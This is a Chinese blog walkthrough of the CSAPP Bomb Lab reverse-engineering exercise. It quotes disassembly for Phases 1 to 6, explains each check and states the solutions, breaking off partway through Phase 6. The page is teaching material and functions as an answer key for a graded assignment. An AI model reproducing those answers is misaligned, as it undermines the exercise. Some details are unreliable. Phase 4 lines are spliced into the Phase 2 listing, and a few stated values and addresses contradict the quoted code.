44 24 04 0c a2 04 movl $0x804a20c,0x4(%esp) 8048b9a: 08 8048b9b: 8b 44 24 20 mov 0x20(%esp),%eax 8048b9f: 89 04 24 mov %eax,(%esp) 8048ba2: e8 43 05 00 00 call 80490ea \u0026lt;strings_not_equal\u0026gt; 8048ba7: 85 c0 test %eax,%eax 8048ba9: 74 05 je 8048bb0 \u0026lt;phase_1+0x20\u0026gt; 8048bab: e8 45 06 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048bb0: 83 c4 1c add $0x1c,%esp 8048bb3: c3 ret 程序看起来像是构建了 strings_not_equal 的两个参数，test 指令用于判断返回的值是否为0（参见 Stack Overflow），如果为0代表不相等，就跳转到 explode_bomb。\n我们可以直接从两个参数入手，一个是我们输入的内容，另一个 0x804a20c 自然就指向了我们想要的字符串。进入gdb，打断点，使用 x/s 0x804a20c 读取那个位置的字符串，然后输入 c 继续运行，将其输入即可。解出Phase 1答案是 “You can Russia from land here in Alaska.”。\n建议将断点打到 read_line 上，如果打到 phase_1 上，便无法在读到答案之后输入文字，可能要炸一次炸弹。\nPhase 2 关键词：循环\nmain函数中关于Phase 2的部分和Phase 1差不多，那么我们直接来看反汇编。\nasm 复制代码 08048bb4 \u0026lt;phase_2\u0026gt;: 8048bb4: 56 push %esi 8048bb5: 53 push %ebx 8048bb6: 83 ec 34 sub $0x34,%esp 8048bb9: 8d 44 24 18 lea 0x18(%esp),%eax 8048bbd: 89 44 24 04 mov %eax,0x4(%esp) 8048bc1: 8b 44 24 40 mov 0x40(%esp),%eax 8048bc5: 89 04 24 mov %eax,(%esp) 8048bc8: e8 4f 06 00 00 call 804921c \u0026lt;read_six_numbers\u0026gt; 8048bcd: 83 7c 24 18 00 cmpl $0x0,0x18(%esp) 8048bd2: 75 07 jne 8048bdb \u0026lt;phase_2\u0026#43;0x27\u0026gt; 8048bd4: 83 7c 24 1c 01 cmpl $0x1,0x1c(%esp) 8048bd9: 74 1f je 8048bfa \u0026lt;phase_2\u0026#43;0x46\u0026gt; 8048bdb: e8 15 06 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048be0: eb 18 jmp 8048bfa \u0026lt;phase_2\u0026#43;0x46\u0026gt; 8048be2: 8b 43 f8 mov -0x8(%ebx),%eax 8048be5: 03 43 fc add -0x4(%ebx),%eax 8048be8: 39 03 cmp %eax,(%ebx) 8048bea: 74 05 je 8048bf1 \u0026lt;phase_2\u0026#43;0x3d\u0026gt; 8048bec: e8 04 06 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048bf1: 83 c3 04 add $0x4,%ebx 8048bf4: 39 f3 cmp %esi,%ebx 8048bf6: 75 ea jne 8048be2 \u0026lt;phase_2\u0026#43;0x2e\u0026gt; 8048bf8: eb 0a jmp 8048c04 \u0026lt;phase_2\u0026#43;0x50\u0026gt; 8048bfa: 8d 5c 24 20 lea 0x20(%esp),%ebx 8048bfe: 8d 74 24 30 lea 0x30(%esp),%esi 8048c02: eb de jmp 8048be2 \u0026lt;phase_2\u0026#43;0x2e\u0026gt; 8048c04: 83 c4 34 add $0x34,%esp 8048c07: 5b pop %ebx 8048de9: 83 7c 24 18 0e cmpl $0xe,0x18(%esp) 8048dee: 76 05 jbe 8048df5 \u0026lt;phase_4\u0026#43;0x38\u0026gt; 8048c08: 5e pop %esi 8048c09: c3 ret 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 08048bb4 \u0026lt;phase_2\u0026gt;: 8048bb4: 56 push %esi 8048bb5: 53 push %ebx 8048bb6: 83 ec 34 sub $0x34,%esp 8048bb9: 8d 44 24 18 lea 0x18(%esp),%eax 8048bbd: 89 44 24 04 mov %eax,0x4(%esp) 8048bc1: 8b 44 24 40 mov 0x40(%esp),%eax 8048bc5: 89 04 24 mov %eax,(%esp) 8048bc8: e8 4f 06 00 00 call 804921c \u0026lt;read_six_numbers\u0026gt; 8048bcd: 83 7c 24 18 00 cmpl $0x0,0x18(%esp) 8048bd2: 75 07 jne 8048bdb \u0026lt;phase_2+0x27\u0026gt; 8048bd4: 83 7c 24 1c 01 cmpl $0x1,0x1c(%esp) 8048bd9: 74 1f je 8048bfa \u0026lt;phase_2+0x46\u0026gt; 8048bdb: e8 15 06 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048be0: eb 18 jmp 8048bfa \u0026lt;phase_2+0x46\u0026gt; 8048be2: 8b 43 f8 mov -0x8(%ebx),%eax 8048be5: 03 43 fc add -0x4(%ebx),%eax 8048be8: 39 03 cmp %eax,(%ebx) 8048bea: 74 05 je 8048bf1 \u0026lt;phase_2+0x3d\u0026gt; 8048bec: e8 04 06 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048bf1: 83 c3 04 add $0x4,%ebx 8048bf4: 39 f3 cmp %esi,%ebx 8048bf6: 75 ea jne 8048be2 \u0026lt;phase_2+0x2e\u0026gt; 8048bf8: eb 0a jmp 8048c04 \u0026lt;phase_2+0x50\u0026gt; 8048bfa: 8d 5c 24 20 lea 0x20(%esp),%ebx 8048bfe: 8d 74 24 30 lea 0x30(%esp),%esi 8048c02: eb de jmp 8048be2 \u0026lt;phase_2+0x2e\u0026gt; 8048c04: 83 c4 34 add $0x34,%esp 8048c07: 5b pop %ebx 8048de9: 83 7c 24 18 0e cmpl $0xe,0x18(%esp) 8048dee: 76 05 jbe 8048df5 \u0026lt;phase_4+0x38\u0026gt; 8048c08: 5e pop %esi 8048c09: c3 ret read_six_numbers 很容易让人联想，本题的答案是六个数字。\n浅看一眼 read_six_numbers 函数的反汇编（不需要全看懂），可以得出六个数字的地址是 0x8(%esp) 一直到 0x1c(%esp)，对应 phase_2 中从 0x18(%esp) 开始（也可以在gdb中对比寄存器得出）。由 0x8048bd4 的语句来看，如果第二个数不是2，就会触发 explode_bomb；由 0x8048bcd，如果第一个数不是0，也会爆炸。\n从 0x8048be2 到 0x8048c02 似乎是一个循环。8048bfa 和 8048bfe 的两条 lea 语句是这个循环的初始化部分，因为这只在 0x8048bd9 处被调用，正常来说则会跳过这两段。如果这六个数用C形容为 int num[6]，那么 esi 就是 num+6，是循环的界限，ebx 的初值就是 num+2，是循环的起始（前两个数已经验证过了），相当于 int i=2。\n初始化之后开始看循环体，从 0x8048be2 到 0x8048bf6。首先给 eax 寄存器赋值为 num[i-1]+num[i-2]，然后将其与 num[i] 比较。如果不相等，就爆炸。否则，将 ebx 增4，相当于 i++。再将其与边界 esi 比较，如果不相等，继续循环。\n这样，这六个数字的规律就出现了：是前面多了一个0的斐波那契数列，0，1，1，2，3，5。\nPhase 3 关键词：跳转表\nPhase 3反汇编代码太长了，就不一股脑放出来了。\nasm 复制代码 8048c0a: 83 ec 3c sub $0x3c,%esp 8048c0d: 8d 44 24 2c lea 0x2c(%esp),%eax 8048c11: 89 44 24 10 mov %eax,0x10(%esp) 8048c15: 8d 44 24 27 lea 0x27(%esp),%eax 8048c19: 89 44 24 0c mov %eax,0xc(%esp) 8048c1d: 8d 44 24 28 lea 0x28(%esp),%eax 8048c21: 89 44 24 08 mov %eax,0x8(%esp) 8048c25: c7 44 24 04 5e a2 04 movl $0x804a25e,0x4(%esp) 8048c2c: 08 8048c2d: 8b 44 24 40 mov 0x40(%esp),%eax 8048c31: 89 04 24 mov %eax,(%esp) 8048c34: e8 27 fc ff ff call 8048860 \u0026lt;__isoc99_sscanf@plt\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 8048c0a: 83 ec 3c sub $0x3c,%esp 8048c0d: 8d 44 24 2c lea 0x2c(%esp),%eax 8048c11: 89 44 24 10 mov %eax,0x10(%esp) 8048c15: 8d 44 24 27 lea 0x27(%esp),%eax 8048c19: 89 44 24 0c mov %eax,0xc(%esp) 8048c1d: 8d 44 24 28 lea 0x28(%esp),%eax 8048c21: 89 44 24 08 mov %eax,0x8(%esp) 8048c25: c7 44 24 04 5e a2 04 movl $0x804a25e,0x4(%esp) 8048c2c: 08 8048c2d: 8b 44 24 40 mov 0x40(%esp),%eax 8048c31: 89 04 24 mov %eax,(%esp) 8048c34: e8 27 fc ff ff call 8048860 \u0026lt;__isoc99_sscanf@plt\u0026gt; 反汇编代码中，一上来就像是构建了一个调用函数的参数列表，似乎有五个参数，均为4字节。往下看，果不其然调用了sscanf。在Shell中执行 man sscanf 查看Linux自带手册，发现它类似于scanf，只不过输入源是指定的字符串。对照参数列表，发现 0x804a25e 处是固定的，不随外界改变，同时又在 0x4(%esp) 即第二个参数位置，那么很可能是format部分。执行 print (char*)0x804a25e，得到 \u0026quot;%d %c %d\u0026quot;，这就对应了第3、4、5个参数（设为int a，char b，int c）的格式了。这里记下，**a = esp+0x8、 **b = esp+0xc 和 **c = esp+0x10，由leal指令反推， *a = esp+0x28， *b = esp+0x27， *c = esp+0x2c。\nasm 复制代码 8048c39: 83 f8 02 cmp $0x2,%eax 8048c3c: 7f 05 jg 8048c43 \u0026lt;phase_3\u0026#43;0x39\u0026gt; 8048c3e: e8 b2 05 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048c43: 83 7c 24 28 07 cmpl $0x7,0x28(%esp) 8048c48: 0f 87 f5 00 00 00 ja 8048d43 \u0026lt;phase_3\u0026#43;0x139\u0026gt; 8048c4e: 8b 44 24 28 mov 0x28(%esp),%eax 8048c52: ff 24 85 70 a2 04 08 jmp *0x804a270(,%eax,4) 1 2 3 4 5 6 7 8048c39: 83 f8 02 cmp $0x2,%eax 8048c3c: 7f 05 jg 8048c43 \u0026lt;phase_3+0x39\u0026gt; 8048c3e: e8 b2 05 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048c43: 83 7c 24 28 07 cmpl $0x7,0x28(%esp) 8048c48: 0f 87 f5 00 00 00 ja 8048d43 \u0026lt;phase_3+0x139\u0026gt; 8048c4e: 8b 44 24 28 mov 0x28(%esp),%eax 8048c52: ff 24 85 70 a2 04 08 jmp *0x804a270(,%eax,4) 然后将sscanf的返回值与2比较。查看手册得，它会返回格式化字符串中匹配到参数的数量。如果少于3个参数，一样会引爆炸弹。它还会将 0x28(%esp) 即a与7比较，如果大于7，也会引爆炸弹，那么第一个数的取值被限制在了0~7。\n之后很明显是一个跳转表的结构，看起来像来自一个switch语句，大胆猜测是第一个参数为0-7的每种结果。比较简单的一种方法，是在跳转表跳转语句处打断点，将a直接先代入0-7中的一种，步进查看分支的地址，也可以分别使用 p/x *address 来直接把完整的跳转表挖出来。这里以 a = 0 为例，其他的应该也差不多。\nasm 复制代码 8048c59: b8 68 00 00 00 mov $0x68,%eax 8048c5e: 81 7c 24 2c 8b 01 00 cmpl $0x18b,0x2c(%esp) 8048c65: 00 8048c66: 0f 84 e1 00 00 00 je 8048d4d \u0026lt;phase_3\u0026#43;0x143\u0026gt; 8048c6c: e8 84 05 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048c71: b8 68 00 00 00 mov $0x68,%eax 8048c76: e9 d2 00 00 00 jmp 8048d4d \u0026lt;phase_3\u0026#43;0x143\u0026gt; 1 2 3 4 5 6 7 8048c59: b8 68 00 00 00 mov $0x68,%eax 8048c5e: 81 7c 24 2c 8b 01 00 cmpl $0x18b,0x2c(%esp) 8048c65: 00 8048c66: 0f 84 e1 00 00 00 je 8048d4d \u0026lt;phase_3+0x143\u0026gt; 8048c6c: e8 84 05 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048c71: b8 68 00 00 00 mov $0x68,%eax 8048c76: e9 d2 00 00 00 jmp 8048d4d \u0026lt;phase_3+0x143\u0026gt; 上面是 a = 0 分支的汇编代码。首先给eax赋值，这个之后会用到。然后比较了c与0x18b即395，不相等则会引爆炸弹。如果相等，则再次进行一次跳转：\nasm 复制代码 8048d4d: 3a 44 24 27 cmp 0x27(%esp),%al 8048d51: 74 05 je 8048d58 \u0026lt;phase_3\u0026#43;0x14e\u0026gt; 8048d53: e8 9d 04 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048d58: 83 c4 3c add $0x3c,%esp 8048d5b: c3 ret 1 2 3 4 5 8048d4d: 3a 44 24 27 cmp 0x27(%esp),%al 8048d51: 74 05 je 8048d58 \u0026lt;phase_3+0x14e\u0026gt; 8048d53: e8 9d 04 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048d58: 83 c4 3c add $0x3c,%esp 8048d5b: c3 ret 比较al与b，不相等的话引爆炸弹。al是将eax的0-7位拎出来。eax = 0x68 = 0x0000 0068，那么 al = 0x68。不记得的话，也可以通过GDB执行 info registers al 查看。在Shell执行 man ascii 打开ASCII码表，寻找HEX=68，对应的是h。\n于是我们得出了a、b、c的值。a和c的值是联动的，一个组合为0和395，而b固定为h。\nPhase 4 关键词：递归\nasm 复制代码 8048dbd: 83 ec 2c sub $0x2c,%esp 8048dc0: 8d 44 24 1c lea 0x1c(%esp),%eax 8048dc4: 89 44 24 0c mov %eax,0xc(%esp) 8048dc8: 8d 44 24 18 lea 0x18(%esp),%eax 8048dcc: 89 44 24 08 mov %eax,0x8(%esp) 8048dd0: c7 44 24 04 af a3 04 movl $0x804a3af,0x4(%esp) 8048dd7: 08 8048dd8: 8b 44 24 30 mov 0x30(%esp),%eax 8048ddc: 89 04 24 mov %eax,(%esp) 8048ddf: e8 7c fa ff ff call 8048860 \u0026lt;__isoc99_sscanf@plt\u0026gt; 8048de4: 83 f8 02 cmp $0x2,%eax 8048de7: 75 07 jne 8048df0 \u0026lt;phase_4\u0026#43;0x33\u0026gt; 8048de9: 83 7c 24 18 0e cmpl $0xe,0x18(%esp) 8048dee: 76 05 jbe 8048df5 \u0026lt;phase_4\u0026#43;0x38\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 8048dbd: 83 ec 2c sub $0x2c,%esp 8048dc0: 8d 44 24 1c lea 0x1c(%esp),%eax 8048dc4: 89 44 24 0c mov %eax,0xc(%esp) 8048dc8: 8d 44 24 18 lea 0x18(%esp),%eax 8048dcc: 89 44 24 08 mov %eax,0x8(%esp) 8048dd0: c7 44 24 04 af a3 04 movl $0x804a3af,0x4(%esp) 8048dd7: 08 8048dd8: 8b 44 24 30 mov 0x30(%esp),%eax 8048ddc: 89 04 24 mov %eax,(%esp) 8048ddf: e8 7c fa ff ff call 8048860 \u0026lt;__isoc99_sscanf@plt\u0026gt; 8048de4: 83 f8 02 cmp $0x2,%eax 8048de7: 75 07 jne 8048df0 \u0026lt;phase_4+0x33\u0026gt; 8048de9: 83 7c 24 18 0e cmpl $0xe,0x18(%esp) 8048dee: 76 05 jbe 8048df5 \u0026lt;phase_4+0x38\u0026gt; 这道题一开始也调用了sscanf，和Phase 3差不多。那么方法也一样，熟练地使用 print (char*)0x804a3af，得到格式化的形式为 \u0026quot;%d %d\u0026quot;，就是两个整型。设两个参数分别为a、b，那么有 *a = esp + 0x18，*b = esp + 0x1c。如果参数不为2个，就会引爆炸弹。\n后面还将a与0xe即14（无符号）比较，限制 $a \\le 14$ 时跳转到 0x08048df5，否则引爆炸弹。那么这个地方干了什么呢？\nasm 复制代码 8048df5: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 8048dfc: 00 8048dfd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8048e04: 00 8048e05: 8b 44 24 18 mov 0x18(%esp),%eax 8048e09: 89 04 24 mov %eax,(%esp) 8048e0c: e8 4b ff ff ff call 8048d5c \u0026lt;func4\u0026gt; 8048e11: 85 c0 test %eax,%eax 8048e13: 75 07 jne 8048e1c \u0026lt;phase_4\u0026#43;0x5f\u0026gt; 8048e15: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp) 8048e1a: 74 05 je 8048e21 \u0026lt;phase_4\u0026#43;0x64\u0026gt; 8048e1c: e8 d4 03 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048e21: 83 c4 2c add $0x2c,%esp 8048e24: c3 ret 1 2 3 4 5 6 7 8 9 10 11 12 13 14 8048df5: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 8048dfc: 00 8048dfd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8048e04: 00 8048e05: 8b 44 24 18 mov 0x18(%esp),%eax 8048e09: 89 04 24 mov %eax,(%esp) 8048e0c: e8 4b ff ff ff call 8048d5c \u0026lt;func4\u0026gt; 8048e11: 85 c0 test %eax,%eax 8048e13: 75 07 jne 8048e1c \u0026lt;phase_4+0x5f\u0026gt; 8048e15: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp) 8048e1a: 74 05 je 8048e21 \u0026lt;phase_4+0x64\u0026gt; 8048e1c: e8 d4 03 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048e21: 83 c4 2c add $0x2c,%esp 8048e24: c3 ret 这一段先为func4的调用构建了参数，func4的三个参数分别是a、0和0xe即14。然后分别校验了两个条件，是func4的返回值即 eax = 0 和b=0。既然输入文本的两个部分约束都给出了，只需要枚举 $0 \\le a \\le 14,\\ b=0$ 的每一种可能，总能够找到至少一个答案。幸运的是，试出的第一个组合0 0就是一个解。\n但是为了追求完美，我们还需要看看func4干了什么。设传入的三个参数分别为x、y、z，则：\nasm 复制代码 08048d5c \u0026lt;func4\u0026gt;: 8048d5c: 56 push %esi ;save registers 8048d5d: 53 push %ebx 8048d5e: 83 ec 14 sub $0x14,%esp ;allocate stack 8048d61: 8b 54 24 20 mov 0x20(%esp),%edx ;edx=x 8048d65: 8b 44 24 24 mov 0x24(%esp),%eax ;eax=y 8048d69: 8b 5c 24 28 mov 0x28(%esp),%ebx ;ebx=z 8048d6d: 89 d9 mov %ebx,%ecx ;ecx=z 8048d6f: 29 c1 sub %eax,%ecx ;ecx=z-y 8048d71: 89 ce mov %ecx,%esi ;esi=z-y 8048d73: c1 ee 1f shr $0x1f,%esi ;esi is sign bit of z-y, biased bit 8048d76: 01 f1 add %esi,%ecx ;ecx=z-y\u0026#43;sign(z-y) 8048d78: d1 f9 sar %ecx ;ecx=(z-y)/2 8048d7a: 01 c1 add %eax,%ecx ;ecx=y\u0026#43;(z-y)/2=(y\u0026#43;z)/2 8048d7c: 39 d1 cmp %edx,%ecx ;(z\u0026#43;y)/2\u0026lt;=x? 8048d7e: 7e 17 jle 8048d97 \u0026lt;func4\u0026#43;0x3b\u0026gt; ;if so, goto 0x8048d97 8048d80: 83 e9 01 sub $0x1,%ecx ;ecx-- 8048d83: 89 4c 24 08 mov %ecx,0x8(%esp) ;z(func4)=ecx 8048d87: 89 44 24 04 mov %eax,0x4(%esp) ;y(func4)=eax 8048d8b: 89 14 24 mov %edx,(%esp) ;x(func4)=edx=x 8048d8e: e8 c9 ff ff ff call 8048d5c \u0026lt;func4\u0026gt; ;recursive call 8048d93: 01 c0 add %eax,%eax ;eax=eax\u0026#43;eax (return value) 8048d95: eb 20 jmp 8048db7 \u0026lt;func4\u0026#43;0x5b\u0026gt; ;return eax 8048d97: b8 00 00 00 00 mov $0x0,%eax ;eax=0 8048d9c: 39 d1 cmp %edx,%ecx ;ecx\u0026lt;=x? 8048d9e: 7d 17 jge 8048db7 \u0026lt;func4\u0026#43;0x5b\u0026gt; ;if so, return 0 8048da0: 89 5c 24 08 mov %ebx,0x8(%esp) ;z(func4)=ebx 8048da4: 83 c1 01 add $0x1,%ecx ;ecx\u0026#43;\u0026#43; 8048da7: 89 4c 24 04 mov %ecx,0x4(%esp) ;y(func4)=ecx 8048dab: 89 14 24 mov %edx,(%esp) ;x(func4)=edx=x 8048dae: e8 a9 ff ff ff call 8048d5c \u0026lt;func4\u0026gt; ;recursive call 8048db3: 8d 44 00 01 lea 0x1(%eax,%eax,1),%eax ;eax=2*eax\u0026#43;1, return value 8048db7: 83 c4 14 add $0x14,%esp ;restore stack pointer 8048dba: 5b pop %ebx ;restore registers 8048dbb: 5e pop %esi 8048dbc: c3 ret 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 08048d5c \u0026lt;func4\u0026gt;: 8048d5c: 56 push %esi ;save registers 8048d5d: 53 push %ebx 8048d5e: 83 ec 14 sub $0x14,%esp ;allocate stack 8048d61: 8b 54 24 20 mov 0x20(%esp),%edx ;edx=x 8048d65: 8b 44 24 24 mov 0x24(%esp),%eax ;eax=y 8048d69: 8b 5c 24 28 mov 0x28(%esp),%ebx ;ebx=z 8048d6d: 89 d9 mov %ebx,%ecx ;ecx=z 8048d6f: 29 c1 sub %eax,%ecx ;ecx=z-y 8048d71: 89 ce mov %ecx,%esi ;esi=z-y 8048d73: c1 ee 1f shr $0x1f,%esi ;esi is sign bit of z-y, biased bit 8048d76: 01 f1 add %esi,%ecx ;ecx=z-y+sign(z-y) 8048d78: d1 f9 sar %ecx ;ecx=(z-y)/2 8048d7a: 01 c1 add %eax,%ecx ;ecx=y+(z-y)/2=(y+z)/2 8048d7c: 39 d1 cmp %edx,%ecx ;(z+y)/2\u0026lt;=x? 8048d7e: 7e 17 jle 8048d97 \u0026lt;func4+0x3b\u0026gt; ;if so, goto 0x8048d97 8048d80: 83 e9 01 sub $0x1,%ecx ;ecx-- 8048d83: 89 4c 24 08 mov %ecx,0x8(%esp) ;z(func4)=ecx 8048d87: 89 44 24 04 mov %eax,0x4(%esp) ;y(func4)=eax 8048d8b: 89 14 24 mov %edx,(%esp) ;x(func4)=edx=x 8048d8e: e8 c9 ff ff ff call 8048d5c \u0026lt;func4\u0026gt; ;recursive call 8048d93: 01 c0 add %eax,%eax ;eax=eax+eax (return value) 8048d95: eb 20 jmp 8048db7 \u0026lt;func4+0x5b\u0026gt; ;return eax 8048d97: b8 00 00 00 00 mov $0x0,%eax ;eax=0 8048d9c: 39 d1 cmp %edx,%ecx ;ecx\u0026lt;=x? 8048d9e: 7d 17 jge 8048db7 \u0026lt;func4+0x5b\u0026gt; ;if so, return 0 8048da0: 89 5c 24 08 mov %ebx,0x8(%esp) ;z(func4)=ebx 8048da4: 83 c1 01 add $0x1,%ecx ;ecx++ 8048da7: 89 4c 24 04 mov %ecx,0x4(%esp) ;y(func4)=ecx 8048dab: 89 14 24 mov %edx,(%esp) ;x(func4)=edx=x 8048dae: e8 a9 ff ff ff call 8048d5c \u0026lt;func4\u0026gt; ;recursive call 8048db3: 8d 44 00 01 lea 0x1(%eax,%eax,1),%eax ;eax=2*eax+1, return value 8048db7: 83 c4 14 add $0x14,%esp ;restore stack pointer 8048dba: 5b pop %ebx ;restore registers 8048dbb: 5e pop %esi 8048dbc: c3 ret 首先得把func4的代码分析一遍，顺便写点注释，走一步看一步，把每一步要干什么先弄明白。0x8048d73 处取符号位加上去的操作是一个偏置，为了让算术右移1位和除以2的行为一致，可以阅读CSAPP原书来了解。光看汇编来分析整体行为有一定的难度，我们不妨试着把它 “意译” 成C代码。（感谢 @404NotFound的提醒，第10行条件应为 a==x）\nasm 复制代码 int func4(int x, int y, int z) { int a = (y \u0026#43; z) / 2, ret; if (a\u0026gt; x) { a--; ret = func4(x, y, a); return 2 * ret; } if (a == x) { return 0; } a\u0026#43;\u0026#43;; ret = func4(x, a, z); return ret * 2 \u0026#43; 1; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int func4(int x, int y, int z) { int a = (y + z) / 2, ret; if (a\u0026gt; x) { a--; ret = func4(x, y, a); return 2 * ret; } if (a == x) { return 0; } a++; ret = func4(x, a, z); return ret * 2 + 1; } 可以代入a的各个情况，自行跑一跑这个函数，记录返回0的情况，很容易跑出来所有答案。\nPhase 5 关键词：不同长度的MOV指令\n这道题比较抽象，难度不仅仅在汇编上。\nasm 复制代码 8048e25: 53 push %ebx 8048e26: 83 ec 28 sub $0x28,%esp 8048e29: 8b 5c 24 30 mov 0x30(%esp),%ebx 8048e2d: 65 a1 14 00 00 00 mov %gs:0x14,%eax 8048e33: 89 44 24 1c mov %eax,0x1c(%esp) 8048e37: 31 c0 xor %eax,%eax 8048e39: 89 1c 24 mov %ebx,(%esp) 8048e3c: e8 8a 02 00 00 call 80490cb \u0026lt;string_length\u0026gt; 8048e41: 83 f8 06 cmp $0x6,%eax 8048e44: 74 4c je 8048e92 \u0026lt;phase_5\u0026#43;0x6d\u0026gt; 8048e46: e8 aa 03 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048e4b: 90 nop 8048e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1 2 3 4 5 6 7 8 9 10 11 12 13 8048e25: 53 push %ebx 8048e26: 83 ec 28 sub $0x28,%esp 8048e29: 8b 5c 24 30 mov 0x30(%esp),%ebx 8048e2d: 65 a1 14 00 00 00 mov %gs:0x14,%eax 8048e33: 89 44 24 1c mov %eax,0x1c(%esp) 8048e37: 31 c0 xor %eax,%eax 8048e39: 89 1c 24 mov %ebx,(%esp) 8048e3c: e8 8a 02 00 00 call 80490cb \u0026lt;string_length\u0026gt; 8048e41: 83 f8 06 cmp $0x6,%eax 8048e44: 74 4c je 8048e92 \u0026lt;phase_5+0x6d\u0026gt; 8048e46: e8 aa 03 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048e4b: 90 nop 8048e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 这一段的主要作用就是检查了输入字符串的长度，限制了长度为6。有几处代码不太好理解：%gs: 似乎保证了栈的完整性（见 此处）；异或自身是比较快的将寄存器置0的方式（见 此处）；而 0x8048e4c 处的指令，其实是又一个nop（见 此处）。此外，我们设 *a = 0x14 + eax，这段代码还令a=0x14=20，ebx=esp+0x30。\nasm 复制代码 8048e52: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 8048e56: 83 e2 0f and $0xf,%edx 8048e59: 0f b6 92 90 a2 04 08 movzbl 0x804a290(%edx),%edx 8048e60: 88 54 04 15 mov %dl,0x15(%esp,%eax,1) 8048e64: 83 c0 01 add $0x1,%eax 8048e67: 83 f8 06 cmp $0x6,%eax 8048e6a: 75 e6 jne 8048e52 \u0026lt;phase_5\u0026#43;0x2d\u0026gt; 1 2 3 4 5 6 7 8048e52: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 8048e56: 83 e2 0f and $0xf,%edx 8048e59: 0f b6 92 90 a2 04 08 movzbl 0x804a290(%edx),%edx 8048e60: 88 54 04 15 mov %dl,0x15(%esp,%eax,1) 8048e64: 83 c0 01 add $0x1,%eax 8048e67: 83 f8 06 cmp $0x6,%eax 8048e6a: 75 e6 jne 8048e52 \u0026lt;phase_5+0x2d\u0026gt; 一个jmp指令带我们到了0x8048e92，粗看一眼结构像个循环。给eax赋初值0之后，就又跳到了0x8048e52。循环内的部分就是如上所示。在这里，eax从0到6的每一次循环中：\n将ebx+eax处的字符截取低4位，存入edx edx作为索引，在0x804a290+edx处取1个字节 将这个字节存到esp+0x15+eax 自然会想到取0x804a290中的内容，是 \u0026ldquo;maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?\u0026quot;，因为索引只有4位，所以有效的只有 “So” 前面的部分。可以看出，经过这个循环，在0x15+esp处形成了另一个长度为6的字符串。\nasm 复制代码 8048e6c: c6 44 24 1b 00 movb $0x0,0x1b(%esp) 8048e71: c7 44 24 04 67 a2 04 movl $0x804a267,0x4(%esp) 8048e78: 08 8048e79: 8d 44 24 15 lea 0x15(%esp),%eax 8048e7d: 89 04 24 mov %eax,(%esp) 8048e80: e8 65 02 00 00 call 80490ea \u0026lt;strings_not_equal\u0026gt; 8048e85: 85 c0 test %eax,%eax 8048e87: 74 10 je 8048e99 \u0026lt;phase_5\u0026#43;0x74\u0026gt; 1 2 3 4 5 6 7 8 8048e6c: c6 44 24 1b 00 movb $0x0,0x1b(%esp) 8048e71: c7 44 24 04 67 a2 04 movl $0x804a267,0x4(%esp) 8048e78: 08 8048e79: 8d 44 24 15 lea 0x15(%esp),%eax 8048e7d: 89 04 24 mov %eax,(%esp) 8048e80: e8 65 02 00 00 call 80490ea \u0026lt;strings_not_equal\u0026gt; 8048e85: 85 c0 test %eax,%eax 8048e87: 74 10 je 8048e99 \u0026lt;phase_5+0x74\u0026gt; 循环之后，call了一个 strings_not_equal，显然其中一个参数是我们刚刚形成的字符串，另一个在0x804a257。读取它，结果是 \u0026ldquo;bruins\u0026rdquo;。不算结束符号，正好六个字符。如果两个字符串相等的话，炸弹就可以解除了。我们所要做的，就是反推六个索引字符。每个字符只需要结尾四位符合索引值、属于可打印的值就可以了，所以可以有多种答案，比如 “-\u0026amp;#$(\u0026rsquo;”。\n上面的流程，可以用一张图表示：\n好了，又解决一道题。\nPhase 6 关键词：链表\n本Phase核心部分跳来跳去的，巨难。第一部分是熟悉的读6个数字，设 *a=0x10+esp，这里就不再赘述了。\nasm 复制代码 8048eca: be 00 00 00 00 mov $0x0,%esi ;set esi as i, i=0 8048ecf: 8b 44 b4 10 mov 0x10(%esp,%esi,4),%eax ;eax = a[i] 8048ed3: 83 e8 01 sub $0x1,%eax ;eax = a[i] - 1 8048ed6: 83 f8 05 cmp $0x5,%eax ;compare eax with 5 8048ed9: 76 05 jbe 8048ee0 \u0026lt;phase_6\u0026#43;0x2f\u0026gt; ;if a[i] \u0026lt;= 5, dont explode 8048edb: e8 15 03 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048ee0: 83 c6 01 add $0x1,%esi ;i\u0026#43;\u0026#43; 8048ee3: 83 fe 06 cmp $0x6,%esi ;if i \u0026lt; 6, jump to 8048eef 8048ee6: 75 07 jne 8048eef \u0026lt;phase_6\u0026#43;0x3e\u0026gt; 8048ee8: bb 00 00 00 00 mov $0x0,%ebx 8048eed: eb 38 jmp 8048f27 \u0026lt;phase_6\u0026#43;0x76\u0026gt; 8048eef: 89 f3 mov %esi,%ebx ;ebx=j=i 